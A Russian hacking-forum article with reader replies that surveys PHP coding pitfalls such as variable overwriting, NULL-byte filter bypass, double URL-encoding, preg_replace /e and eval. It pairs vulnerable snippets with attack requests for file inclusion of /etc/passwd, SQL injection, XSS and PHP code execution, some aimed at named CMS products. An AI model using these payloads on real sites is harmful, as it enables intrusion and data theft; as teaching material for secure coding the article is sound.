Статья является продолжением к первой части: _http://forum.antichat.ru/thread54355.html Выражается благодарность всем, что так или иначе обсуждал со мной аспекты атак, описанных в статье. ======================================= Роковые ошибки PHP. Часть вторая. Небезопасное Web-программирование. [ Вступление ] Поиск уязвимостей медленно но верно переходит на новую качественную ступень - исследование платформы/интерпретатора, изучение особеностей работы критичных для безопасности функций, пограничные состояния, переполнения буфера. Старые элементарные баги неумолимо изживают себя. www.hardened-PHP.net ярко показал современный уровень дыр и эксплоитов. И происходит своего рода естественный отбор - либо ты учишься чемуто-то новому, либо уходишь... Я покажу Вам, как остаться. В первой части тебя ознакомили с распространенными уязвимостями. Расскажу тебе об особенностях PHP, которые обязан знать каждый уважающий себя багоискатель. В купе с первой частью ты сможешь не только расковырять пачку двигов, но и осознать - век PHP багов отнюдь не 20й век. Все только начинается, тебе повезло быть здесь и сейчас. Учимся думать и все получится, ибо мозг - наш главный инструмент. [ index.php?GLOBALS[file]=hehe! ] Бага медленно уходит в историю. Существует немало эксплоитов под неё, например, от небезызвестного rgod'a. В достаточно устаревших версиях PHP < = 4.3.10 и PHP <= 5.0.5 есть возможность определить переменную через массив GLOBALS, используя запрос вида: php.ini: register_globals=ON /index.php?GLOBALS[foobar]=blaaa Смотрим на результат: print_r($GLOBALS); А поскольку суперглобальный массив GLOBALS проецируется на все переменные: print_r($foobar); [ import_request_variables('GPC') - EVIL OVERWRITE ] В первой части ты уже читал про неё, но опишу интересную особенность 'аццкой' перезаписи. 'GPC' (GET/POST/COOKIE) в аргументе функции означает порядок, следуя которому будут переписаны переменные. Тоесть в данном случае - GPC - сначала перепишутся значения из GET, потом из POST и только после из COOKIE. Как ты думаешь, что выдаст данный код? /index.php?a=111 POST: a=222 COOKIE: a=333; PHP: import_request_variables('GPC'); print $a; Код вернет '333'. Если было бы 'CGP' , то ответ был бы '222'. И аналогично. Используя данную особенность, можно виртуозно обходить фильтры защиты. Реальный пример уязвимого кода 'самой наисекурной' SLAED CMS 3.x ( мой привет автору +) ): PHP: if (isset($_GET['name']) || isset($_POST['name'])) { $name = trim(isset($_POST['name']) ? $_POST['name'] : $_GET['name']); if (preg_match("/[^a-zA-Z0-9_]/", $name)) { Header("Location: index.php"); exit; } .................................... // Register globals On if ($old_modules == 1) { if (!ini_get("register_globals")) @import_request_variables('GPC'); } .................................... if (file_exists("modules/$name/".$file.".php")) { include("modules/$name/".$file.".php"); Посмотрите внимательно, $name проверяется только в GET и POST. Тогда указав в COOKIE произвольное значение $name, мы получим локальный инклуд: /index.php?name=FAQ&file=index cookie: name=../../.././etc/passwd%00 [ parse_str() OVERWRITE ] Достаточно новый баг(скорее фича) - parse_str() без второго параметра позволяет аналогично extract() или import_request_variable() переопределить глобальный переменные, в том числе и служебные как _SERVER , _SESSION , _ENV, GLOBALS /index.php?_SERVER[REMOTE_ADDR]=antichat PHP: parse_str($_SERVER['QUERY_STRING']); print_r($_SERVER); Особенность использования: для перезаписи произвольных массивов второй аргумент parse_str() будет переписан значениями первого. Для нас важно отсутствие второго аргумента, иначе перепишется только сам второй аргумент - parse_str($_SERVER['QUERY_STRING'],$query_str) [ $$, &$ - жесткие и символические ссылки ] Использование жестких и символических ссылок также открывает потенциальные возможности для проникновения. Ранее недоступные из вне переменные могут стать досягаемыми, они глобализируются и несут угрозу безопасности. Переменные становятся взаимозависимыми, и может возможность переопеределить критически важные переменные, например, идентификаторы сессии. /index.php?_SERVER[REMOTE_ADDR]=antichat.ru&_SESSION[auth]=bugaga! PHP: while(list($key,$val)=each($_GET)) { $$key=$val; } echo $_SERVER['REMOTE_ADDR']; if(isset($_SESSION)) {echo $_SESSION['auth'];} Подробное описание сабжа: http://www.php.su/learnphp/?re А теперь бонус - помимо сказанного, благодаря тому что уязвимость глобализирует переменные - открывается возможность использовать UNSET атаку даже при выключенном register_globals! Причем ни import_request_variables('GPC') , ни extract() такого же эффекта не дают. [ ini_set(), ini_get() ] Использование ini_set() позволяет изменять некоторые значения опций конфигурации. Во-первых, далеко не все значения могут быть изменены из текущего скрипта. Ознакомься с полным списком здесь http://php.su/functions/?ini_set и обрати внимание на "Определение констант PHP_INI_*' (внизу). Только опции с PHP_INI_ALL флагом могут быть изменены через ini_set(). А во-вторых, некоторые хостеры не жалуют ini_set(), ini_get() и запрещают их, тем самым делая свой хостинг менее привлекательным для размещения всякой гадости, вроде веб-ботов, парсеров\грабберов, анонимайзеров и прочей 'нежити', которым для комфортной работы требуется изменять стандартные настройки PHP, вроде "max_execution_time","default_socket_timeout" и тд. Но такой расклад получается далеко не на пользу легальным программам, особенно, если их безопасность строится, опираясь на ini_set(). Тогда, например, @ini_set( "register_globals", "0" ); @ini_set( "magic_quotes_gpc", "1" ); используемые в скрипте не изменят настроек и движок может стать легкой мишенью. Тоже касается и ini_get(), так как в случае его запрета может быть нарушена логика защитного механизма. Как пример из практики - последний громкий эксплоит под PunBB. [ ereg() poison NULL-byte ] Использование ereg() и её производных (ereg_replace(),mb_ereg_match()) опасно тем, что ereg() не является бинарно-совместимой функцией, тоесть воспринимает NULL-байт за конец строки и прекращает обработку, что дает возможность обойти фильтр. /index.php?page=%00../../../../../../../etc/passwd%00blaa PHP: if(ereg('/',$_GET['page'])){die('Include detected!');} include(getcwd().trim($_GET['page']).'.html'); /index.php?page=%00<script>alert(/antichat.ru/)</script> PHP: if(ereg('<',$_GET['page'])){die('XSS detected!');} echo $_GET['page']; eregi() имеет аналогичную уязвимость, но в одной из версий PHP её пропатчили. Поскольку ereg() юзают где только возможно, здесь поле непаханное для всех типов атак. [ $_SERVER[HTTP_X] ] Дыры в http-заголовах занимают в моем скромном рейтинге почетное первое место. Это настоящий клад для багоискателей. Сколько двигов тут полегло - уже и не сосчитать. Уважаемые девелоперы! Продолжайте и далее доверять всем входящим http-данным! =)) И без работы ни вы ни мы не останемся... Достаточно вспомнить последний публичный эксплоит под IPB_2.16 Если хорошо порыться на милворме, можно найти от XSS и SQL-inj до выполнения кода(!). Наиболее часто используемые заголовки - user-agent, referer, accept-language, client-ip, x-forwarded-for, x-real-ip Вообще сейчас очень модно отсылать данные, помещая их в HTTP-заголовки. Такой способ часто используется при выполнении команд в эксплоитах(так называемый интерактивный шелл). Как пример - последний публичный эксплоит под punBB - $_SERVER['HTTP_SHELL'] Но модно не потому, что круто. А потому что очень удобно. ~ простота посылки и приема средствами php,perl,etc.. ~ отсутствие логирования, в отличии от _POST (mod_security) ~ пока не существует IDS, фиксирующей передачу левых данных в произвольных http-заголовках [ magic_quotes_gpc - ? ] Практически каждый из нас слышал о 'магических' ковычках и их роли в SQL-injection. Но мало кто задумывался, что означает 'gpc'. Если мы обратимся к определению, то там ясно сказано - 'magic_quotes_gpc=ON' автоматически слеширует _GET/_POST/_COOKIE - (gpc) + _REQUEST. А остальное - никто не слеширует, как то $_FILES, $_ENV, $_SERVER, $_SESSION... Теперь вспомните предыдущий пункт. Да, юзер-агент, реферер лежат в _SERVER и magic_quotes'ом не обрабатываются. А значит, если программер не позаботился о фильтре, то репутация продукта висит на волоске. Кроме того, многие защиты основываясь на 'if(get_magic_quotes_gpc())..' используют add~ или stripslashes. Поскольку такой подход применяется ко всем переменным подряд, а является корректным лишь для GET/POST/COOKIE/REQUEST, то при magic_quotes=ON приложение становится подверженным SQL-inj в не GPC-массивах. PHP: if (!get_magic_quotes_gpc()) { function addslashes_deep($value) { $value = is_array($value) ? array_map('addslashes_deep', $value) : addslashes($value); return $value; } $_SERVER = array_map('addslashes_deep', $_SERVER); } Ну, как пример, пусть magic_quotes=ON, тогда User-Agent не подвергается addslashes. [ intval(), (int) ] У intval() есть интересная особенность - она возвращает TRUE если первой в аргументе содержится хотя бы одна цифра. И у разработчиков тоже есть интересная особенность =)) -- они периодически используют intval()/(int) в логичесих условиях, допуская непростительные ошибки. Ведь наличие цифр в строке вовсе не гарантирует отсутствие других символов. Пример: /index.php?id=1'"qwerty PHP: $id=$_GET['id']; if(intval($id) && (int)$id) { sql_query("select $id from table_name"); } else die('Id not integer!'); Несмотря на кажущуюся незначительность баги, встречается она в диком тырнете достаточно регулярно. Для безопасного сравнения используйте is_numeric() [ a == 'a' and a === 'a' ] PHP не проверяет равенство типов при двойном равно (==), автоматически приводя их к строковому. Для верного сравнения данных разных типов применяется тройное равно (===). Неправильное использование двойного равно, например, в авторизации, == может обернуться уязвимостью. PHP: $aaa = 123456; if( '123456' == $aaa ){echo '<br>ok!';}else{echo '<br>no.';} if( '123456' === $aaa ){echo '<br>ok!';}else{echo '<br>no.';} ok! no. Как пример - этой уязвимости был подвержен phpBB 2.0.8 Однако, такая бага далеко не уникальна и встречается в других продуктах по сей день [ string or integer ? ] Более того, если мы попробуем сравнить строку с числом, то... сравнение как ни странно состоится! Важно только то, чтобы первым символом в строке было число - именно с ним произойдет сравнение. Пример: PHP: $id="8' or 1=1/*"; if(isset($id) && $id > 5 ) { query("select name from table where id='$id'"); } Дружественность PHP к кодеру порой губительна. [ %2527 => %27 => ' , %2522 => %22 => " ] Двойное урл-кодирование параметра в купе с urldecode() дает возможность обойти magic_quotes/фильтры и выполнить произвольные SQL-команды. Здесь %25 - урл-символ знака процента '%'. Таким образом после преобразования мы получаем незаэкранированную ковычку. Пример уязвимого кода: /index.php?login=hack%2527+or+1=1+limit+1/* PHP: $login=addslashes($_GET['login']); mysql_query("SELECT id from users where name='".urldecode($login)."'"); Часто можно встретить в обработке кукисов, _SERVER['QUERY_STRING']. Подобный баг был в ранних версиях phpBB и давал совместно с preg_replace(//e) выполнение произвольного кода. [ base64_encode/base64_decode ] Кодирование данных в base64 виде - также излюбленный приём вебмастеров. Ну и как следствие - в закодированном виде слеширования конечно же не происходит и может возникнуть условие для SQL-inj. Пример уязвимого кода: PHP: $pass=base64_decode(addslashes($_COOKIE['password'])); mysql_query=("SELECT id from table where pass='$pass'"); Из практики - всем известный PHPNUKE долгое время страдал такой болезнью. [ index.php?a[]=antichat ] Не спешите пропускать абзац - вас ждет не только раскрытие пути... Зачастую данные извлекаются из глобальных массивов без проверки параметра, массив он или строка(число). И здесь можно получить от раскрытия пути до обхода проверок. А теперь вспомните, функцию, которая чаще всего работает с глобальными массивами - addslashes() ! ага? пахнет жаренным. Это уже действительно серьезно. Многие проверки в движках давятся при неожиданной встрече с массивом. Пример безопасной проверки, используя рекурсивный самовызов: PHP: if (!get_magic_quotes_gpc()) { function addslashes_deep($value) { $value = is_array($value) ? array_map('addslashes_deep', $value) : addslashes($value); return $value; } $_GET = array_map('addslashes_deep', $_GET); $_POST = array_map('addslashes_deep', $_POST); $_COOKIE = array_map('addslashes_deep', $_COOKIE); $_REQUEST = array_map('addslashes_deep', $_REQUEST); } О ошибках: от нотиса до варнига - тут уже в зависимости от самой функции. Например, array_key_exists() выдаст "Warning: array_key_exists()..." Полный список уязвимых функций еще предстоит составить... [ preg_replace() with /e ] Достаточно известный способ выполнить команды там, где нельзя, но очень хочется =) При использовании /e(~e) модификатора в регулярке - пхп код, содержащийся во втором аргументе, выполнится... /index.php?match=123456&search=phpinfo(); PHP: preg_replace("/345/e",$_GET['search'],$_GET['match']); Однако, даже если модификатор /e отсутствует - мы при возможности можем внедрить его, обрубив регулярку NULL-байтом. Баг достаточно известный - эксплоит под phpbb=2.0.17 как раз на нем и был основан. Пример: /index.php?match=123456&search=phpinfo();&modifi=345/e%00 PHP: preg_replace('/'.$_GET['modifi'].'/',$_GET['search'],$_GET['match']); Именно preg_replace() ищут в первую очередь после eval(), желая найти выполнение произвольного PHP-кода. [ Динамическое определение переменных ] Иногда перед кодером встает необходимость динамически определить переменную, когда задается произвольно не только значение, но и её имя. Например, данные получают из БД, конфига, темплэйта или напрямую от пользователей, а после проходят эту операцию. Опасность заключается в том, что при отсутствии должной фильтрации атакующий получает веб-шелл на сервере. Пример уязвимого кода: /index.php?value=;phpinfo(); PHP: $new = "antichat"; $value = $_GET['value']; eval("\$new = \$value;"); Красивое и эффективное выполнение команд. Но и без эвала, это несет угрозу неконтролируемой глобализации произвольных переменных, как например здесь: /index.php?var=auth&val=OK; PHP: $auth='NO'; $new = $_GET['var']; ${ $new } = $_GET['val']; echo $auth; [ create_function() ] Создание функций как частный случай обратного вызова функций - один из самых красивых способов выполнения произвольного кода. Рассмотрим пример на create_function(): /index.php?a=phpinfo(); PHP: $a=$_GET['a']; $new = create_function('$x', "return $a;"); $new(''); Как видите, благодаря тому, что мы можем влиять на возвращаемый результат - возможно выполнение произвольного кода. Практическое нахождение такой уязвимости обусловлено высоким уровнем удачи вашего юнита +) , а так же редкой криворукостью кодера. Как пример - нашумевший эксплоит Шанкара для выполнения произвольных php-команд в TikiWiki. [ header("Location: ... die(); ] Поставив перенаправление, программист порой забывает добавить после него exit() или die(). Таким образом, код продолжает выполняться. Используя любую http-тулзу(AccessDiver,intruder,inetcrack), отключив java-script в браузере(если редирект выполнен на яве) или к примеру эксплоит на PHP - атакующий увидит результат. Подобная ситация - серьезная брешь в безопасности,ведь редирект часто используют при неверной авторизации или в механизмах обработки ошибок. Пример безопасного кода: PHP: header("Location: htpp://antichat.ru"); die() or exit(); Мне извеcтны по крайней мере два весьма популярных движка, страдающих такой болезнью. [ EOF ] С точки зрения кодера, многих из описанных уязвимостей вообще не существует, поскольку копаться в тонкостях PHP - неблагодарная а самое главное - не оплачиваемая работа. Потому у Нас всегда будет преимущество и лишний козырь. Эти баги были. И будут. Вне зависимости от того, сколько раз про это напишут и скажут. Описанным уязвимостям подвержены многие и многие продукты. И именно Нам еще и еще раз выпадает честь и удовольствие это подтвердить =) Чем мы вскоре и займемся, но это уже совсем другая история...
Вообшем прочитал всё 3 раза, был в шоке, после пива очнулся. Но малекий шок остался, после того как прочитал про inval() я думал что кроме числовых значей он больше нечего не берёт , но окозалось не так жаль. Вот иди после всего этого и пиши скрипт. P.S Elekt отлично просто супер, статья очень понравилась, давай продолжение таких статей.
Так сразу страшно ложиться спать стало. Пересмотрел последний скрипт. Практически все вышеописанное используется, но к счастью по умному (хотя сам этого не подозревал) Весьма полезная статья оказалась для меня, да думаю не только для меня
многие пункты типа "intval" и "urldecode после addslashes" ,addslashes_deep - вообще бред. В документации ясно все про это написано. А последняя функция - вообще непонятно что.
про HEADER имеется ввиду- такой к примеру скрипт edit.php в админке, в начале проверяется залогинился ли ты под админом , если нет идет редирект, но после функции header не стоит exit, поэтому можно использовать этот скрипт дальше невзираю на права.
Хорошая статья, Элек на высоте, но вот только мое ИМХО, журнал Х не стоит таких мыслей и такой Pr ачату не нужен, все разработки, подобные этой, должны оставаться внутри закрытых комунити.
В принцыпе боян, но первый раз это вижу изложенненным с точки зрения php, и с точки зрения програмиста.
она и не берет, просто надо ее правильно юзать. PHP: $id = intval($_REQUEST['id']); sql_query("select $id from table_name"); Elekt, спасибо! статья ммм супер ) зы. фишку с header понял.
Есть ещё несколько забавных вещичек связанных с переменной $_SERVER['PHP_SELF'] например кодес PHP: echo "<form action='".$_SERVER['PHP_SELF']."'>"; при обращении к скрипту как Code: http://localhost/script.php/">lalala вы увидем выход за пределы тега etc, т.е. потенциальная xss) При этом возможно передавать переменные через GET, например PHP: echo "<a href='".$_SERVER['PHP_SELF']."?lalala'>link</a>"; if($_GET['hek']=='4') echo 'тынц-тынц'; Code: http://localhost/script.php/"><script>alert(/XSS/)</script>?hek=4 на выходе мы получим наш алерт и надпись "тынц-тынц" =) Далее если $_SERVER['PHP_SELF'] используется при перенаправлении путём посылки хэдера, то можно вызвать раскрытие пути PHP: header("Location: {$_SERVER['PHP_SELF']}"); Code: http://localhost/script.php/%0ALocation:%20http://www.google.com Так же можно обойти некоторые ограничение безопасности, например в wp-ids файл wpids-css.php PHP: <?php if(eregi("^wpids\-css\.php", basename($_SERVER['PHP_SELF']))) { die('You cannot call this file directly.'); }?> <style type="text/css"> #wpids_wrapper { padding:20px; background-color:#fbfbfb; } ... обходится элементарно Code: http://localhost/wp-ids/wpids-css.php/lalala PHP: basename($_SERVER['PHP_SELF'])='lalala' [size=-100]PS ничё особенного в файле нет, но всё-таки) но если брать конкретно wp-ids, то главным образом обламывает .htaccess +) линк[/size]
To nerezus, [ cash ] совершенно верно, не претендую на первоткрывателя. Это обзор того что известно, только все вместе с моими коментариями и некоторыми доработками. [ _REQUEST {variables_order} OVERWRITE ] Глобальный массив реквеста формируется по принципу последней перезаписи переменных из других глобальных массивов в порядке, заданном директивой php.ini : variables_order = EGPCS (по дефолту) где E - $_ENV[] G - $_GET[] P - $_POST[] C - $_COOKIE[] S - $_SERVER[] только для реквеста енв и серверный массивы будут проигнорированны. Тоесть в данном порядке конечные значения $_REQUEST будут переписаны содержимым куков в последнюю очередь. Это можно использовать при криво поставленных фильтрах безопасности со всеми вытекающими. Примерно как и импортреквест для инклуда в слаеде. Кстати дайте мне в ПМ последнюю его версию, потестим. Пример, есть код: PHP: <?php print "variables_order : ".ini_get('variables_order')."<br>"; print "<br>GET : ";print_r($_GET); print "<br>POST : ";print_r($_POST); print "<br>COOKIE: ";print_r($_COOKIE); print "<br><br>REQUEST: ";print_r($_REQUEST); ?> Шлем пакет на скрипт: Code: POST /1.php?a=1 HTTP/1.0 Host: localhost Cookie: a=3; Content-Length: 3 Content-Type: application/x-www-form-urlencoded a=2 Наблюдаем: Code: variables_order : EGPCS GET : Array ( [a] => 1 ) POST : Array ( [a] => 2 ) COOKIE: Array ( [a] => 3 ) REQUEST: Array ( [a] => 3 )
Я в шоке как так всегда использовал ereg и ereg_replace!! только что дома на 2008 denver попробовал все ок уязвимости с %00 нет. У меня php версии 5.2.4. Скажите в каких версиях ereg уязвима?????
жесть... на самом деле тут нет ничего страшного, ну кроме ereg, просто ошибки вызваны нереальной кривостью рук программиста или админа, а более-менее знающий пхп(больше 2-3 дней) так уже не напишет.
"urldecode после addslashes" - на этой ошибке построена blind SQL injection в wordpress2.1 intval - вполне возможно такое встретить addslashes_deep - не понял что тебе тут не понятно header() - не знаешь что за ф-ция или не знаешь к чему может привести ее использование без die(); ? Думай в следующий раз прежде чем что то пукнуть. Все это уже старо и всем давно известно. В анонсе написано "Поиск уязвимостей медленно но верно переходит на новую качественную ступень - исследование платформы/интерпретатора, изучение особеностей работы критичных для безопасности функций, пограничные состояния, переполнения буфера." Вот бага с оператором unset() из первой части это что то качественно новое, а фичи из 2 части никак не тянут на новую ступень...
Понимаешь, если человек забивает гвозди латексовым членом говорит, что член от этого портится - то это не член хреновый, а человек хреновый. Так что пукаешь тут ты, покрывая такого человека ) Посмотри на форумы по пхп. Ну нету там таких тем. А вот в мануал посылают с чего ты взял? Дело в том, что я ориентировался на первую тему(роковые ошибки), где были показаны ошибки пхп. А в этой теме именно ошибки админов и программистов, но чтобы не допускать их достаточно лишь немного думать и знать предметную область. В то время как ошибки самого пхп - это реально ошибки.
ну если называшь бредом именно несоответсвие анонсу, то это так, автор проперся, т.к. все это документированные возможности. Надеялся узнать что то новое об ошибках уровня платформы, а все что в статье уже практически в двигах не встречается (
О половине `фичах ` написанно напрямую в книгах о ПХП допустим что переписывается сначало Get=>post=>cookie, а 2 половина была оч.полезной... .Автору +